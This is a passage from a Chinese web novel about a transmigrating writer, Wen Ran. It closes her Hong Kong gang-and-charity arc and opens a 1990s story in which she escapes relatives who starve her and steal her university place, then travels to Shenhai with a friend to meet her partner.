第130章七零香江作家31 温苒心说,那你太看不起你们黄家作孽的本事了。 陈兴辉心说,我吃饱了撑的帮你们黄家还债? 他都是来要债的! 温苒思索片刻,回道:“他是局外人,做不到黄爷所期盼的。” 黄爷点点头,“我明白了,多谢大师指点迷津。” 接下来,他就那十几个八字详细询问,还让陈兴辉拿了纸笔边听边记,很有一种吃自助餐付了钱就狠薅羊毛的架势。 温苒直在心里大呼亏了亏了。 问完了,黄爷拄着拐杖站起来,“日后温大师有吩咐尽管让人递话到公馆,黄某一定照办。” 仅仅对着八字温苒就能把人看个透彻,实在无法不让黄爷惊叹。 也让他认定,温苒不是招摇撞骗的大师,而是有真本事。 虽说他带来的这个儿子疑似和五象城关系非同一般,很可能还会互通消息,但一来这儿子刚回到黄家没多久,消息再灵通也有限,二来刚才温苒断事时所讲的许多都是不为外人知晓的秘密。 三来,黄爷翻看着陈兴辉的笔记,是真是假到时候把人叫到面前来问一问不就知道了? 在五象城吃了顿便饭,黄爷带着陈兴辉和笑哥离开。 据后面频繁回五象城报信的平头伟所说,黄爷回到公馆当天,就召集妻妾子女,并一一唤人进书房‘谈心’。 这场谈心持续了足足一周,一周后忠叔来五象城交接地盘和报社。 地盘给了龙凤帮,报社则由温苒个人接收。 再之后,黄家牵头成立慈善基金会,举行一系列慈善活动,满港都闹得沸沸扬扬。 黄家和新福会的精力都放在慈善上面,豪华游轮开了一次就闲置下来,然后某天就被陈兴辉送到了温苒手上。 他匆匆来匆匆去,只留下一句:“他资助修建的孤儿院建成,想请你去看看风水。” 温苒:“……” 行叭,这下她的豪华观光游轮计划可以实现了。 再和黄爷见面,他依旧不死心地询问有没有其他延寿的办法。 温苒能理解,他问这 个不只是出于他还不想死这个朴实的愿望,更是因为他有些压不下新福会里各方势力。 黄爷年老,底下子女长成,原本新福会的长老坐馆就参与了买股,明里暗里的你争我抢从来没停止过。 但说到底,这些人买股争抢是为了什么?还不是为了钱? 可看黄爷现在的所作所为,做慈善做出了倾家荡产的架势,连刚起步的海上赌场也丢到一旁不管了。 上到坐馆长老,下到喽啰马仔都对阿公怨声载道。 他们都吃不饱呢,阿公有钱自己花没什么,做慈善博个好名声适可而止也罢了,怎么还没完没了? 底下人不安分,被谈心过的黄少们也起了心思,于是接二连三开启了逼宫、刺杀乃至另立门户等戏码。 新福会彻底乱起来。 五象城趁机大发展,成立基金会、拆迁、通水电。 短短两三年,五象城彻底大变样,从远近闻名的贫民窟变成旅游观光圣地。 城里环境整洁优美,但房租始终保持在低于城外三分之一的的水平。 基金会提供了大量低门槛工作岗位,只要有手有脚肯卖力气,在五象城里也能吃穿不愁。 对于条件格外贫穷的家庭或个人,基金会在核实后会提供援助。 对于成绩优异但无法负担学费的儿童少年,基金会有专门的助学机构。 城里还会定期发放大量低价物资,基金会认定的贫困家庭或个人可以免费领取。 龙凤帮无心插柳柳成荫,出于本心尽可能惠及到普通百姓,却没想到让五象城成为香江无人不知的慈善之城。 三年间,温苒的武侠三部曲完结,红遍香江和宝岛。 顾大少不知第几次光顾,想说服温苒买下版权改编成电视剧,温苒无一例外地都拒绝了。 顾少只好退而求其次,“那不知阿温能否割爱《影后》?” 这部小说当年一经发表就火得一塌糊涂,巅峰时无可匹敌,说是全民追读也不为过。 同时这本小说对香江娱乐业的打击也很为人津津乐道。 小说里对于潜规则的描写堪称包罗万象,还详细列出了各种天坑合同条例,比业内现用的还要齐全。 可是让那帮黑心老板恨死了温苒,一度买凶暗鲨她。 结果暗鲨不成,反被霍骁北带人找上门。 龙凤帮是洗白了可不是淹死了,论人脉论势力,现在的龙凤帮只是低调名声好,却全然不逊于几年前的新福会。 经此打击,娱乐演艺相关的公司被迫自我整顿,整个行业风气为之一清,《影后》这部小说同时被奉为行业从业人员的圣经。 这几年金玉影视也有计划改编《影后》,手头项目太多才一再拖延。 只是温苒和顾氏每次合作都很满意,她和霍骁北与顾家人私交甚笃,倒不好次次都拒绝顾少。 于是温苒答应交出《影后》的版权。 几年后,黄爷过世,黄家败落,新福会最后一个堂口改名换姓,新福会长达几十年的黑帮统治就此彻底结束。 但香江社会并没有因此清明安定。 香江地狭人多,产业结构失衡,即便如今正是香江经济腾飞的年代,但手工制造业和房地产业需要的劳动力有限,多余的劳动力就变成了社会不安定因素。 随着南下远渡来的人口增多,为了生存,更多的暴力团体如雨后春笋般涌出来。 这无可避免,也并非一己之力能解决。 好在还有龙凤帮这个现今的龙头老大在,耗费大量财力**。 随后改革开放,香江和内地交流愈加频繁,温苒的小说在内地出版,收获大批书迷。 世纪初,国内放开影视方面创作的限制,温苒的武侠和仙侠三部曲小说陆续登上荧幕,火遍大江南北。 这一生温苒著作丰厚,每一部拎出来都值得津津乐道。 既完成了原主的心愿,也攒下了数不清的作品。【你现在阅读的是 】 130-140 第131章 第131章九零国际超模1 一九九六年,南方某城小区。 炎炎夏日,高考过去三个月,各所大学陆续开学。 客厅里,温苒二叔带着儿子靠在沙发上看电视,一旁二婶母女两个正在为即将到来的开学报道收拾行李。 想到自己马上要去长京念大学,以后就是人人羡慕的大学生,温苒的表姐又激动又憧憬,同时心里还有些没底。 她看向沙发上懒洋洋瘫着的男人,“爸,那死丫头的同学也有考去长京的,万一她们怀疑我顶替名额怎么办?” 男人眼睛盯着电视机不错眼,闻言摆摆手不耐烦道:“不会的,你少跟她们来往不就是了?再说需要的证件我都找人帮你办得妥妥的,就是天王老子来了也是你考上了大学。” 温苒表姐稍稍放下心。 也是,她爸买通派出所民警,用温苒的身份帮她办理了身份证。 连身份证上的照片都是她的,她怕什么 温苒表姐得意又畅快地看了眼某处紧闭的房门,心想温苒长得漂亮学习好算得了什么?还不是要给她考大学? “爸,你可要看好死丫头,千万别让她去找同学老师告状!” 温苒二叔不屑又笃定:“她不敢!” 温苒二婶不满地发牢骚:“咱们把她关屋里她是没法跑,可也不能天天这么养着她啊?” 她先阐述理由:“别的不提,咱家这房子这么大我一人忙不过来,每天上班就够累了下了班我还得做这么多人的饭,把她放出来帮我做家务,做完家务再放回去。” 末了总结道:“这么大的丫头了,哪家不是可着使唤?” 温苒表姐乐得见温苒吃苦,大声赞同:“就是!她爸妈都没了,还把自己当有钱人家的千金小姐,衣来伸手饭来张口等着我妈哄她喂她呢?她以后可都靠咱家养,住别人家哪有光吃饭不干活的?” 听见这话,温苒二叔认真想了想,皱眉道:“你们懂什么?我这是计策,先关一阵子让她老实下来,知道听话了再放出来,不听话再接着关,这叫打一棒子给颗甜枣!” 温苒那位刚上高中表弟正看电视看得尽兴,结果耳边全是她们叨叨叨,把电视音都给压下去听不清了。 他不悦地朝母女两个吼道:“到底还让不让看了?你们什么都不懂就别瞎说,爸说了该怎么做你们照办就是了?” 母女两个神色讪讪,闭上嘴不敢再多话,收拾起来动静也小了很多。 就连一家之主温苒二叔都不敢再出声。 昏暗的房间里,听完客厅里的大声密谋,温苒有气无力地爬起来,从系统包裹里取出一份热粥慢吞吞进食。 原主已经多半月没能好好吃饭了,她穿越过来,虽然身体还是自己的身体,但继承了原主的身体状态。 半个多月前,温苒车祸过世的父母下葬,吊唁的亲戚各回各家。 然而自那之后,叔婶一家就以照顾温苒为由强行住进温家,霸占温苒父母留下来的家产。 原主不是没有反抗过,闹得楼上楼下邻居和居委会过来调解,可很快就被平息。 温苒也因此被关起来,禁止和其他亲戚联系。 为了防止她再有力气闹事,饭一天只送一顿,就这还得看温苒二婶的心情。 原主脾气也是倔,说绝食就绝食,拼着一口气把自己饿死,等警察来验尸好揭穿二叔二婶的真面目。 可温苒二叔更不是什么好东西,否则也不会大哥大嫂刚死,就图谋财产虐待侄女。 加上他早就和温苒父亲多有摩擦,兄弟俩没到老死不相往来的程度,可在他心里也差不多了,因此拿捏对付起温苒来从心理上来讲一点阻碍和底线都没有。 最过分的一次,这一家四口丢下温苒外出旅游,幸好是在郊外县城,来回三天温苒滴水未进,险些丢了一条命。 当时原主人都快没了,可温苒二叔二婶愣是没想过把她送医院,连个正经医生都没请,就怕事情捅出去闹大了。 最后 是偷偷摸摸去黑诊所请了个护士,大半夜来给温苒吊了两次针。 到现在有五六天了,知道温苒死不了,温苒二婶每天只送一碗米汤,是凉的是馊的早上送还是晚上送都还要看她心情。 原主还是那么有骨气,除了刚开始那两天被强行灌了两碗米汤,后面愣是没再动过一口。 然后她就把自己饿没了。 再然后,也就是晚饭前后,温苒顶替了她的身份。 慢吞吞解决半碗粥,温苒久未进食空荡麻木的胃里终于有了轻微饱腹感,和饱腹感一起出现的还有难以形容的抽搐酸疼感,疼痛也让浑浑噩噩的精神稍稍清明。 勉强算是吃饱喝足后,温苒也有精力思考剧情和接下来的出路。 认真说起来,剧情跟原主这个早死的炮灰没什么太大关系,甚至于她连个炮灰都算不上,只是女主经手的一桩案件的久远背景板而已。 反倒是客厅里那豺狼虎豹一家四口,还能捞个炮灰反派的身份。 剧情不值一提,还是出路更重要。 九月下旬正是大学开学季,原主本该也是高高兴兴奔赴大学生活的准大学生之一,不想父母车祸过世,狼子野心的二叔一家鸠占鹊巢,连她的录取通知书也不放过。 大学温苒可读可不读,有机会当然还是要读,但原主的专业就算了。 原主成绩尚可,高考超常发挥,踩线被调剂到长京某名不见经传的三本理工大学的‘收音机制造与研发’专业。 在大学还未扩招的年代,别说三本大学,就是中专大专生也是妥妥的高学历人才。 问题不在三本大学,而在专业上。 整个九十年代,华国各高校的专业处于相当频繁的调整中,或取缔或合并或拆分。 等尘埃落定,这古老的‘收音机’专业要么被取消,要么被合并到电子或者半导体相关专业中。 恰巧,这一行温苒早就踏足过,再来一遍没什么意思。 倒是原主有两个心愿,一是拿回遗产,报复二叔一家,二是想做一名模特。 前一个心愿好理解。 后一个,温苒翻了翻原主记忆后了然。 爱美是人的天性,原主有个‘费钱’的爱好,她喜欢新衣服漂亮衣服。 但她虽然家境不错,可也没有阔绰到喜欢什么就买的地步,于是就萌生了当模特的念头。 模特不仅能穿各种漂亮衣服,穿完还能拿钱,人家大方点或者自己脸皮厚点,工作完衣服也能带回家。 这一合计,模特简直是为原主量身定制的职业。 原主的状态相当虚弱,温苒躺在床上不知不觉睡过去。 客厅里,电视机的声音直到深夜还在响。 胃里实在难受,温苒被疼痛唤醒,迷迷糊糊听到那一家在商量明天下午一起去车站,送顶替温苒身份的表姐去长京开学报道。 她那位二叔被母女两个左一句劝右一句怂恿,打算再给温苒一个教训。 这次比上次更狠,南省来回长京,中间耽搁几天,至少一周才能回来。 客厅里温苒二婶笑得痛快,声音很大生怕温苒听不到一样: “还当跟以前一样是咱们求她爸的时候呢?犟吧!不吃饭我还省粮食了!饿死更省事!” 温苒二叔多少有点不放心,他是真怕温苒出事,当然这并不是出于他的良心或者两人之间的血缘亲情,而是温苒出事就不好办了。 才过去多长时间,万一温苒没了,到时温家的亲戚、大嫂那边的亲戚指定要追究个一二三。 就算能摆平,不大出血是不可能的。 而要是摆不平,到时别说遗产拿不到,他还得吃官司。 于是温苒二叔让温苒二婶留下来,“你就别去了,看着点她,不行了叫护士来输液。” 温苒二婶登时不干了,“凭啥啊?我女儿上大学我连送一送都不行了?不就个丫头片子,饿死就饿死,饿死正好,东西就全是咱们的了!” 温苒二叔一耳光甩过去,“你给我闭嘴!胡咧咧什么呢?大晚上生怕让人听不见是吧?” 温苒二婶憋屈地捂着脸,表情愤怒不甘,“我不管,要留你留!又不是我侄女!” 撂下这句话,她抓上散落的衣服,逃也似的进了女儿房间,用力摔上门。 温苒二叔气得鼻子险些歪了,“反了反了!” 听着外面的动静,温苒做起来吃了片止疼药,满头大汗地想,明天家里没人,她的机会来了。 靠在床头缓了缓,她打开系统给霍骁北发信息。 ——经过上次分开任务后,两人用结算奖励兑换了通信模块,现在哪怕相隔十万八千里也能得知对方的情况。 当然,距离近免费,距离远就要花费积分。 聊天界面被霍骁北单方面刷屏,他是四个月之前到这个世界,通过发消息的时间温苒轻易能知道他的课程表和作息表。 他那边情况比自己好太多,父母俱全家境也不错,还是深海理工大学的大学生。 不过糟心事也同样不少,他家境虽不错,但父母在他初中时离异各组家庭还各自生育,他属于两不沾。 两边都不待见他,他只能自力更生。 幸好他运气不错,是理工大学最后一届公费生,不用为计算机专业高达两千块的学费操心,只需要勤工俭学赚生活费。 别看勤工俭学说起来稀松平常,放到二三十年后,给学生补课或者寒暑假再汉堡店奶茶店打工,几千块的确实说赚就能赚到。 但现在只是一九九六年,平均工资还不过千的年代,课余时间打工赚的钱也就能改善改善生活锻炼锻炼自主能力,如果自己赚学费非得耽误学业不可。 霍骁北现在读大四,明年毕业。 他那个身份原来的主人成绩还不错,他刚好赶在上学期期末考试前穿越过来,拿下了专业第一。 大四一整个学年课程不多,但任务不算轻松,除综合实验课程外,要准备毕业论文和毕业设计,还要腾出至少三个月外出实习。 霍骁北还提到,学院有公费出国留学名额,很大可能他会在候选中。 至于要不要出国,他等温苒的意见,要去就一起去。 出国就出国吧,她要当模特,指不定也会出国发展。 但自己现在这边的情况不好跟霍骁北讲,不然他一定会抛下学业连夜赶过来。 这点小事温苒自己就能解决,他来一趟白折腾白费钱,不如把钱留着租房,她到了深海也能有个落脚的地方。 温苒挑了几条消息回复,没等霍骁北上线就关掉聊天界面。 因为听外面动静,好像是…… 打起来了? 刚才温苒二叔越想越气,冲到房门前,又是拍又是踹,威胁道:“你不留是吧?你不留就离婚!” 离婚二字一出,整个房子都静了静。 随即嗷一声凄厉尖叫,温苒二婶开门出来,舞着爪子就给温苒二叔脸上来了一下。 “你休想!有钱了就抛弃糟糠妻 你没良心啊!” 温苒二叔惨叫一声,很快反手还击。 夫妻两个从房门处打到客厅,从客厅打到阳台,又从阳台打到厨房,都拿起了菜刀对峙。 他们俩孩子完全不受影响,当姐的反手锁门躲进房间里,当弟的瘫在沙发上,一边看电视一边玩游戏。 同楼的邻居都比她们热心,大半夜被吵醒,还得耐着性子敲门过来关心。 眼见外人都吸引过来了,温苒二叔怒火中烧,发狠似的往温苒二婶肚子上踹了几脚,咬牙切齿地警告:“离婚!” 温苒二婶抱着钝疼的肚子,疼痛让她理智回笼,面对发怒的丈夫终于知道害怕。 解决了家事,温苒二叔顶着满头红印一身狼狈地出门应付那些多事的邻居。 折腾到快凌晨,温苒被胃疼断断续续唤醒的间隙,听到二叔愤怒宣布:“离婚!说什么我也要跟你离婚!” 二婶痛哭流涕地低头求饶。 但温苒二叔铁了心要离,连长京也不去了,拽上还在玩游戏的儿子就摔门而出。 客厅里响起低低的抽泣声,渐渐的声音变大变成了嚎哭。 温苒:“……” 打架归打架,怎么还不出门了?不出门她还怎么跑? 哭声中,她听到门开的声音,那位顶替她身份的表姐从房间里出来,开口就是:“妈,我火车快到了,你把钱给我我自己去报道。” 她不耐烦催促:“妈你别嚎了,快点,把钱给我我要赶火车!” “早就说让你们把钱给我,非要到了长京才愿意,咱家都这么有钱了还一副小家子气,生怕我吃了喝了你们宝贝儿子的!” 温苒:“……” 其实,不用她刻意报复,这一家应该也没什么好下场的…… 温苒二婶骂骂咧咧,骂女儿不孝顺,骂女儿只知道赔钱货整天只知道钱钱钱,爸妈都快离婚了都不知道关心一下…… 母女两个是谁也不让谁,一声比一声高,好像有天大的底气一样,最后也吵起来了。 温苒表姐被打了一耳光,气得冲进主卧把现金一扫而空,在温苒二婶的尖叫怒骂声中拽上行李箱就走。 走之前她还不忘撂狠话:“妈你真让我寒心,我难道就不是你的孩子吗?你连上学的钱都不愿意给我,你还指望我孝顺你?你做梦!我今天走了,就再也不会回来!” 许是因为再也不会回来,她最后几句简直杀人诛心:“怪不得我爸不要你,说什么也要跟离婚,都是你自找的!丈夫不要你女儿不要你以后儿子也不会孝顺你,你等着吧!” 哐当一声,大门摔上,行李箱的轮子咕噜噜下了楼梯。 温苒:“……” 反派还真挺有反派样,她要是养出像这样两个孩子,她一点也不介意主动亲自解决麻烦。 半晌后,被万箭穿心的二婶终于回过神,嗷一声跳起来。 温苒嘴角下意识翘起,机会来——砰! 她房间的开了??? 温苒:“……” 愤怒的二婶撞开房门,目的明确向床上躺着的温苒冲过来,破口大骂:“贱人!都怪你!都怪你!” 温苒暗骂城门失火殃及池鱼,她好端端在房间里躺着就差没悄悄饿死了,招谁惹谁这也能怪到她头上? 温苒饿得浑身没力气,但好在脑子转得快,赶紧翻身一躲。 二婶扑了个空,爬起来继续朝温苒下手。 温苒猛一动弹头晕眼花的,随手抓了床头柜上的台灯,照着二婶额头就来了一下。 她准头挺好,就是力气不趁手,除了让二婶更加恼火,作用微乎其乎。 温苒:“……” 她现在的身体状态,蚂蚁到了她鞋底搞不好都能全须全尾地出来。 不成,她得摇人。 趁二婶生着气脑子不清楚,温苒不着痕迹向门口移动,并不断捞起手边够得到的东西向二婶砸过去,阻拦她的脚步。 终于,她距离门口只有一步之遥。 二婶理智回笼,见温苒要逃,夺步上前阻拦。 温苒眼睛一转,侧身,后腿,伸脚。 砰—— 二婶又扑了个空,结结实实脸朝下摔在了门槛上。 温苒看着都疼。 她却没关心二婶下场,飞快迈出门要去搬救兵。 可走了两步她又退回来,盯着疼得晕晕乎乎的二婶,突然冒出另一个想法。 她找邻居找亲戚,最后八成得惊动二叔,那老小子在派出所有关系,大事化小小事化了,给她弄个狼来了的结果不是没可能。 所以不能惊动外人。 温苒飞快拿定主意,把手背到身后从包裹里取出电击棒,俯身给二婶来了一下。 二婶晕过去,温苒把她五花大绑,才用点力气就累得满头大汗气喘吁吁。 歇了好半天,然后她把人拖到表姐的房间,解开束缚,喂药堵嘴塞到床底下。 说来关着不给原主饭吃就是这女人出的主意,要不是原主二叔看原主漂亮奇货可居,这女人还想把原主当成奴隶可劲使唤打骂呢。 结果还没怎么着,这女人就被老逼登二叔和白眼狼表姐教训成这样。 恶人自有恶人磨,温苒真替原主解气。 把门关上,她赶紧回房吃早饭。 白眼狼表姐去长京报道,归期遥遥无望。 老逼登二叔带着儿子离家出走,估摸着气狠了,一时半会儿也不会回来。 正好也让二婶尝尝饿肚子的滋味。 可惜这以牙还牙的报复方式只能用在她身上,另外三个也只有两个可以认罪伏法,剩下那个不到年纪还可以逍遥法外。 不过反过来想一想,就原主表弟那种废物,没有爹妈为他做打算,他下场也不会好到哪里去。 吃完早饭,温苒搜刮房间,找到身份证房产证存折。 庆幸距离原主爸妈车祸过世没多久,她二叔还没来得及转移财产。 也或许是因为原主二叔让原主表姐顶替了原主身份,所以不着急,这些东西上的名字就还是原主父母。 温苒都收起来,继续翻箱倒柜找现金。 翻得头晕眼黑的,也才找到几块几毛。 那一家四口可真能祸祸,原主父亲经营了两家超市,家里现金自来就不少。 加上原主很快开学报道,原主父母准备的现金就更多了,万把快总有,结果不到一个月干净得像雁过拔毛…… 温苒歇了歇,趁午休人少打算离开。 离开对她来说不成问题,问题是怎么让恶人有恶报。 她一走不要紧,床底下二婶几天后缓过来势必会通知二叔,然后就会发现她带走了存折和房产证。 这夫妻两个能干? 原主那个二叔钻营人脉上有一手,能串通派出所民警给温苒的身份证换成别人的照片,补办这些证件并转移财产并不是难事。 心事重重地走到了小区门口,温苒忽然听到有人喊自己的名字。 “苒苒!” “苒苒真的是你?” “太好了!” 温苒警惕转头,余光瞥见一个身影飞扑过来,却在到跟前时被扯住后脖领拦下。 温苒在心里直呼幸好幸好,她现在比弱不禁风还弱不禁风,真让撞这么下她得立马躺救护车。 念头转瞬即逝,匆忙中温苒认出来人,“赵姨,田蜜,你们怎么在这而?” 赵姨拉着她就走,“快快,咱们先离远点说话。脸色怎么这么白?是不是你二叔二婶对你不好?” 田蜜绕到另一边挽上温苒手臂,“我担心你,过来找你好多次,你二叔二婶都不让我见你,我妈说再见不到你就去派出所报失踪。” 温苒被母女两个拽到一家饭馆,两人嘴一刻不停,不是吃东西就是打听温苒这段时间过得怎么样。 温苒看着母女俩在心里衡量一番,赵姨和原主母亲是同学,田叔叔和原主父亲生意上有往来也是朋友,原主和田蜜是从小到大的同学和闺蜜。 这关系,怎么都不应该把她往火坑里推才对。 温苒打好腹稿,详略得当地告诉二人:二叔要饿死她,好继承遗产;二 叔家的表姐顶替她的身份,已经去了长京报道。 赵姨蹭一下拍桌而起,勃然大怒:“欺人太甚!” 这个时间餐馆没什么客人,老板和服务员听见动静嗖嗖赶过来询问需不需要帮助。 田蜜拉着她妈坐下,温苒打发走老板,转头安抚母女两个:“我打算写举报信,给省里寄一份,给学校寄一份。” 赵姨满眼怜惜地看着温苒,哽咽道:“孩子你受苦了,赵姨也没想到……没想到你二叔这么不是东西,要是赵姨常过来看你,也就不会发生这样的事了。” 温苒告诉她不是这样,也别沾这趟浑水,“我二叔在派出所有人,跟那些不三不四的人也有来往,叔叔的生意能不招惹麻烦就不招惹。” 田蜜担心温苒,饭也吃不下了,“那你怎么办?要不…跑吧?” 她看看温苒,又看看她妈,“去广州打工,广州那么远,他们肯定找不到!” 温苒点点头,“我打算去深海。” 赵姨欲言又止,“苒苒你别听田蜜瞎说,你……不上学了?” 那可是大学生! 田蜜听见这话悄悄低下脑袋,眼珠子不老实地乱转。 温苒回道:“我被调剂的专业没什么前景,现在电视机都进入千家万户了,收音机市场越来越小,我指不定毕业就失业。” 赵姨不死心,“那再考个别的,你跟田蜜一起复读,考医生护士律师师范什么的,那些好,不会失业。” 温苒:“……” 她颇费了些口舌,才把赵姨劝住。 按下葫芦浮起瓢,没想到刚劝好这个,那个又开始闹妖:“妈,我要跟苒苒一起去深海打工,我不要复读,我就不是读书那块料!” 赵姨登时横眉竖眼,“你哪块料我能不晓得?你不读书,你不读书你能干啥?刷个碗都刷不干净,进人饭馆打工都不要你!” 田蜜委屈巴巴抿嘴,不甘心地向闺蜜求助,“苒苒,咱们一起去深海还能作伴是不是?你别听我妈的话,我刷碗可干净了,我还会裁衣服,我到时候在服装店里给人卖衣服裁衣服也能赚钱!” 说到赚钱,她余光自信地瞥了眼她妈妈,挺直腰板一副很有底气的样子。 赵姨虎着脸看两个孩子,当打工那么容易呢,真是没吃过苦不知道苦有一百样! 行! 她就看看,等这俩撞完南墙知道回头了,一块扔回去复读。 赵姨态度隐隐有些松动,当女儿的田蜜第一时间就感觉到,当即蹬鼻子上脸软磨硬泡才让她松了口。 赵姨哭笑不得,“你呀你,我就怕你这不着四六的样再给苒苒添乱。” 温苒道:“不会的阿姨,我也什么都不懂,有蜜蜜陪着我心里也有底。” 田蜜挽上温苒手臂,高高抬起下巴,神气道:“那是!” 结账离开,赵姨随后打了辆出租车,“苒苒,去阿姨家,阿姨给你踅摸踅摸该添置什么,你和田蜜要走就尽快,赶这两天,再晚你二叔该听着信要拦你了。” 深海市。 理工大学图书馆内,风扇在头顶吱呀吱呀转动,扰得人心烦意乱。 陈晨惦记着组到一半的电脑,惦记着食堂今天的菜式,惦记着霍骁北列出的几个合适的实习公司和岗位,还能抽出空来想,等他有钱一定要把学校这些风扇都换成空调! 他惦记着那么多,就是没有眼前的面包板,频频抬头看向对面稳如泰山的霍骁北,又感慨又纳闷。 怎么人和人差距就那——么大呢? 霍骁北测试完这个模块,看了眼时间开始收拾东西。 媳妇儿马上要来深海,他得赶紧租好房子。 还得租两个。 他一动,陈晨立马跟着动,一边收拾东西一边压低声音怕吵到其他认真学习的同学。 “北哥,咱们去北门吃麻辣烫,下午没课,吃完去我家接着组电脑?” 霍骁北收拾完,回道:“我去看房。” 陈晨想也不想,“那我也去!” 他想一出是一出,“北哥你看好了哪里的房子,要不咱俩合租吧?还省钱!” 一边应付他这个过于活泼话痨的同学,霍骁北心想,暑假炒股赚了十几万他现在不缺钱,但苒苒说别租太贵的房子,周围环境也不能太乱。 霍骁北思来想去,托本地舍友在老弄堂里找了几处,今天打算去看看。 全都看完,霍骁北选了一户老夫妻家的二楼。 二楼整层界成四间两室一厅,面积不大,但在老弄堂里算得上极为宽敞的格局,而且干净清静,价格自然也不便宜。 四间房采光最好最宽敞的一间是老夫妻给出国留学的孙子留的,剩下三间都空着。 霍骁北选了对门的两间,签合同交钱,列一张需要添置的家具杂物单子,一口气不歇打车去市场。 花了两天时间,霍骁北、陈晨和两个舍友把房间归置得七七八八。 这时,温苒和田蜜也踏上了前来深海的火车。 第132章 第132章九零国际超模2 火车上,温苒告诉田蜜,已经有人帮她们租好了房子。 田蜜惊得摔了盒饭,还好盖子盖得紧饭菜没扣出来。 “谁、谁帮忙租的?是不是考去深海的同学?” 温苒沉吟:“不是,是我、我的笔友。” 田蜜惊呆,“啥?” 任温苒再三解释,一路上田蜜都惴惴不安,总觉得温苒是遇上骗子了,还疑心对方是人贩子,等她们一下车就被捂住嘴卖到山沟沟里。 温苒:“……” 虽然离谱了点,但不管怎么说,有警惕心是好事。 她佯装听进去的样子,“你说得有道理,那待会儿先看看情况,情况不对我们就跑。” 田蜜用力点头,“对对对!不对我们就跑!” 温苒:“……” 这孩子警惕心有,但不多,这种情况下应该见都不要见才对。 大城市套路多,温苒真怕这傻丫头被人骗了,想到就多说了几句。 田蜜傻了似的看着她,“那、那苒苒,咱们到底还见不见?” 温苒:“……” 见是要见的,霍骁北头仨月租房的钱都付了,她们不去不是白费了? 但她张张嘴,不放心道:“这次是我们两个一起,所以才去见。” 田蜜抱起盒饭大口往嘴里塞,“知道,我一个人肯定警醒着呢。” 提前告诉霍骁北火车到站时间,温苒和田蜜大包小包下车,被人流推着出站口,远远就见人群中霍骁北举着写有‘暗号’的牌子。 霍骁北长得高,身形挺拔,气质冷冽,样貌也不俗,站在那儿仿佛鹤立鸡群一样。 温苒还没瞧见呢,田蜜就拽着她袖子给她指,“苒苒你看,那是不是你笔友?没想到模样还挺帅气?” 温苒顺着田蜜指的方向看过去,正好这时霍骁北也发现了她,牌子丢进垃圾桶大步过来,自然地接过温苒的行李,并侧过身体替她抵挡人群的推搡。 那随意熟稔又理所应当的态度,把田蜜和追上来的陈晨都看呆了。 不是,这俩不是笔友吗?咋感觉好像早就认识了一样? 田蜜瞪大了眼睛,这男人问都不问怎么就确定苒苒是他笔友?还靠的那么近? 她看,这人就是见苒苒漂亮,想要图谋不轨! 田蜜当即一个跨步,跨到……温苒另一边,腾出一只手把她往自己这边拉,警惕地看着霍骁北:“同志?大哥?你就是骑马北上?” 霍骁北去看温苒,所以她那么大一个作家,就给他起这么个笔名? 温苒忽闪着大眼睛,她向来不爱在这种无伤大雅的细节上纠结,她那么多笔名每个都很随意。 温苒帮田蜜分担了两件行李,一本正经地胡诌回答她:“是他,他给我寄过照片。” 田蜜还是不放心,霍骁北看出她的防备,尤其是防备他靠近媳妇儿,张张嘴想解释什么,陈晨比他快一步。 “你这个女同志看我们的眼神像 在看坏蛋,我们可不是坏人,我和北哥是理工大学的学生,不信我给你看我身份证和学生证!” 霍骁北恍然想起,今天出发前陈晨一阵翻箱倒柜,原来是在找学生证? 陈晨说着要掏兜,霍骁北拦了一把,说道:“这里人多不方便,找个清静的餐厅说话,顺便吃个午饭。” 陈晨忙点头,然后几乎半抢半拽过田蜜的行李,下巴一扬,走到前面带路,“走!来之前我跟同学打听过,车站里的汉堡店味道不错,咱们去那儿!” 行李被夺走,田蜜气得跺脚,转身紧紧抱住温苒手臂,同她道:“苒苒你别离开我,车站鱼龙混杂最不安全了。” 温苒知道其实她在害怕,握紧她的手低声道:“待会儿吃完饭我们打车,先去他们学校看看,在他们老师跟前挂个号。” 田蜜听着就是眼前就是一亮。 对啊! 是不是骗子到了学校不就清楚了 如果不是骗子,回头还能跟老师了解一下对方的品性,她们好做防范! “苒苒,还是你机灵!” 田蜜笑着晃了晃她手臂。 温苒:“……” 她很有些哭笑不得,不是她机灵,而是这姑娘不够警惕,而且太好骗,她说什么就是什么,万一她是个骗子这姑娘都不知道该去哪儿哭? 到了汉堡店,距离饭点还有些时间,因此大多数座位都空着。 霍骁北去点餐,陈晨放下行李把两张桌子并到一起,然后坐下自来熟地跟田蜜唠了起来。 听着两人聊天的内容,温苒都不知道该说什么好,真是都敢问都敢答,谁都没藏着掖着问什么就回什么,连祖上几辈干啥的都抖搂出来了。 听说田蜜想去理工大学参观,陈晨也是半点没有起疑心,还拍着胸脯保证:“那行,下午带你们参观学校,晚饭去北门火锅店给你俩接风洗尘!我请客!” 温苒:“……” 霍骁北端着冒尖的汉堡小吃和服务员过来,温苒瞥见赶忙起身接应。 都挑了自己想吃的,温苒咬一口汉堡客气道:“今天谢谢你们来车站接我们俩,租房也是,这顿让我请,聊表心意。” 霍骁北抬头,对上温苒充满暗示的眼神。 田蜜塞了满嘴,听见这话连忙点头,“对对对!我们请!” 她灌了半杯可乐清嗓子,接着说道:“我们请,不能让你们出力又出钱!” 陈晨嚼着喝着,实在腾不出嘴,只要转头去看霍骁北。 霍骁北点了点头,表情略带抱歉,“那谢谢二位同志请客,早知道我不该点这么多,原本剩下的我想带给学校同学。” 温苒回道:“正好我们俩想去你学校参观,一样可以带给同学。” 霍骁北没有犹豫,“好,下午我和陈晨没课,但有个班会要开,到时介绍同学给你们认识。” 田蜜听见这话瞬间心中大定,开班会肯定同学老师都在,最适合打听消息,而且跟他们同学混个脸熟,万一有个万一也不至于悄默声出事。 虽说这么会儿功夫相处下来,这俩人看起来不像图谋不轨,而且又是帮她们租房又不辞辛苦来车站接应,这么大的功劳和苦劳按理来说她不该怀疑。 但苒苒一直提醒她,出门在外要时刻保持警惕心,知人知面不知心,多个心眼没有错,怀疑成真能保命,怀疑错了再诚心道歉就是。 温苒连半个汉堡都没吃完,再只尝了两样小甜品,看得霍骁北直皱眉。 这家汉堡店味道还不错,也对她的胃口,吃这么少? 一旁有田蜜那么小警察盯着,霍骁北不能明目张胆盯着媳妇儿瞧,只能用频频用余光观察。 他这才发现,温苒整个人透着虚弱,脸色唇色苍白,本该明亮的眼神黯淡中带着困顿,总是不由自主地发呆失神。 刚才见面霍骁北还以为媳妇儿是坐车累了,现在看来她肯定有事瞒着自己。 